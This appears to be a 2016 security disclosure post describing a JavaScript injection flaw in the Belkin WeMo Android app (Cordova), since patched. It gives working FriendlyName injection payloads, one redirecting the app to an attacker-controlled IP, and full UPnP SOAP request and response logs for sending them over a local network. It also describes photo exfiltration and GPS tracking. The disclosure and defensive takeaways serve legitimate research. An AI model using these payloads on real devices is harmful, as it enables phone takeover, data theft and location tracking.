The WeMo Android app is developed with the open source Apache Cordova project. As such, the app uses HTML and CSS to construct an interface, and Javascript to bridge between the interface and the Java code that implements the app’s functionality. We have found that it is possible to run arbitrary Javascript code in the context of the app by modifying the properties of a device it controls. Cordova contains Javascript-based objects that provide access to the device’s location information, local files, etc. Therefore, we were able to use our code injection exploit to download all the pictures on the phone and constantly send us the device’s location, even when the app is backgrounded.
This vulnerability was patched as of September 1, 2016 in WeMo Android app version 1.15.2.
The Vulnerability
Both the com.belkin.cordova.plugin.SmartDevicePlugin
and com.belkin.cordova.plugin.DevicePlugin
objects contain a method called sendJavascriptCB()
. These methods call the com.belkin.controller.sendJSCallBack()
method with a Javascript string to execute. In certain instances a malicious attacker can modify the device’s properties to be a snippet of Javascript that will be executed in the app when the app retrieves and uses the property.
One such instance occurs when the com.belkin.cordova.plugin.SmartDevicePlugin.onDeviceUpdated()
method is called. This method will call the toString()
method on an instance of com.belkin.wemo.cache.data.DeviceInformation
, which simply returns a string composed of all the devices properties concatenated together. The resultant string is used to build a line of JavaScript that will be passed to the eval()
function via sendJavascriptCB()
:
sendJavascriptCB("window.smartDevicePlugin.onDeviceUpdated('" + paramDeviceInformation.toString() + "');");
Simply setting one of the properties that makes up the toString()
’s return value to a line of javascript that begins with "}}');
(double-quote, right curly-brace, right curly-brace, single-quote, right paren, semi-colon) will end the current line of JavaScript and allow stacked JavaScript statements to occur in the app.
Figure 1 illustrates the messages to and from the WeMo device that are used to set a normal FriendlyName and retrieve it for consumption by the app. This is one of the properties described in the DeviceInformation object. In the figure, we’ve highlighted the XML describing the FriendlyName.
Proof of Vulnerability
The easiest way to see this is to change the friendlyName of the device to the following javascript:
"}}'); alert('pwnedn');console.log('
This will cause the word ‘pwned’ to show up in the output of the adb logcat command. It will also show the rest of the JSON object that was used in that line of JavaScript because of the console.log('
statement at the end of the exploit. This last statement is necessary because it functions as a way to comment out the rest of the line without using comment characters, as those cause the code to fail.
Figure 2 illustrates the messages to and from the WeMo device that are used to access a malicious FriendlyName.
Figure 3 illustrates how this malicious FriendlyName fits into the JSON object used by the WeMo app as well as the effects the malicious code has on the app.
Alternatively, the app can be completely taken over with the following injection:
"}}'); window.location.href=decodeURIComponent('http:%2f%2f192.168.1.11'); console.log('
This will cause the default interface to be replaced with whatever is retrieved from the IP address 192.168.1.11
.
Connecting the Dots
To execute the code injection we simply used the miranda-upnp project (https://github.com/0x90/miranda-upnp) to interact with the device from a local network. The following are two snippets of output showing the two injections that we describe above. These are debug mode statements so they show the full request and response. This should be sufficient to use for testing. First, we illustrate injecting the simple log statement:
upnp> host send 0 controllee basicevent ChangeFriendlyName Required argument: Argument Name: FriendlyName Data Type: string Allowed Values: [] Set FriendlyName value to: "}}'); console.log('pwnedn');console.log(' **************************************************************** POST /upnp/control/basicevent1 HTTP/1.1 SOAPAction: "urn:Belkin:service:basicevent:1#ChangeFriendlyName" Host: 192.168.1.12:49153 Content-Type: text/xml Content-Length: 385 <?xml version="1.0"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <m:ChangeFriendlyName xmlns_m="urn:Belkin:service:basicevent:1"> <FriendlyName>"}}'); console.log('pwnedn');console.log('</FriendlyName> </m:ChangeFriendlyName> </SOAP-ENV:Body> </SOAP-ENV:Envelope> **************************************************************** Response: <s:Envelope xmlns_s="http://schemas.xmlsoap.org/soap/envelope/" s_encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body> <u:SetFriendlyNameResponse xmlns_u="urn:Belkin:service:basicevent:1"> <FriendlyName>"}}'); console.log('pwnedn');console.log('</FriendlyName> </u:SetFriendlyNameResponse> </s:Body> </s:Envelope>
Now we illustrate the app takeover. Remember that you need to change the IP to point to a server you control.
upnp> host send 0 controllee basicevent ChangeFriendlyName Required argument: Argument Name: FriendlyName Data Type: string Allowed Values: [] Set FriendlyName value to: "}}'); window.location.href=decodeURIComponent('http:%2f%2f192.168.1.11'); console.log(' **************************************************************** POST /upnp/control/basicevent1 HTTP/1.1 SOAPAction: "urn:Belkin:service:basicevent:1#ChangeFriendlyName" Host: 192.168.1.12:49153 Content-Type: text/xml Content-Length: 430 <?xml version="1.0"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <m:ChangeFriendlyName xmlns_m="urn:Belkin:service:basicevent:1"> <FriendlyName>"}}'); window.location.href=decodeURIComponent('http:%2f%2f192.168.1.11'); console.log('</FriendlyName> </m:ChangeFriendlyName> </SOAP-ENV:Body> </SOAP-ENV:Envelope> **************************************************************** Response: <s:Envelope xmlns_s="http://schemas.xmlsoap.org/soap/envelope/" s_encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body> <u:SetFriendlyNameResponse xmlns_u="urn:Belkin:service:basicevent:1"> <FriendlyName>"}}'); window.location.href=decodeURIComponent('http:%2f%2f192.168.1.11'); console.log('</FriendlyName> </u:SetFriendlyNameResponse> </s:Body> </s:Envelope>
During our talk at Black Hat Europe 2016, we showed a video demonstrating our ability to transform an Android phone into a GPS tracker as well as exfiltrate images from the phone. This is possible because the WeMo app requests a number of permissions from the Android OS (Figure 4), and Cordova provides access to this device functionality.
The specific code we injected is available at https://github.com/invincealabs/breaking_bhad/tree/master/unfriendly_name.
Takeaways
No device exploitation required
It’s important to understand that rooting the device is not a requirement for this exploit. The FriendlyName of the device is being set with a valid UPnP message. This message is sent in the clear and is not authenticated. When that value is retrieved by the app, it is processed in a way that will execute code residing in the name.
2nd and 3rd order effects of IoT are important
To best of our knowledge using an IoT device to compromise a smartphone is a nuance of IoT security that hasn’t been explored prior to our research. It brings to light the larger issue of the second and third order effects of IoT insecurity. Many users ask why they should care if someone wants to hack into their crockpot or light switch. Prior to this research the security community’s response would have been something about botnets. Now we can say that by having an insecure IoT device you might also be affecting the security of a device that you care much more about, like your smartphone. We may really have reached a point where users are going to have to weigh the option of having an Internet connected crockpot against having a secure smartphone.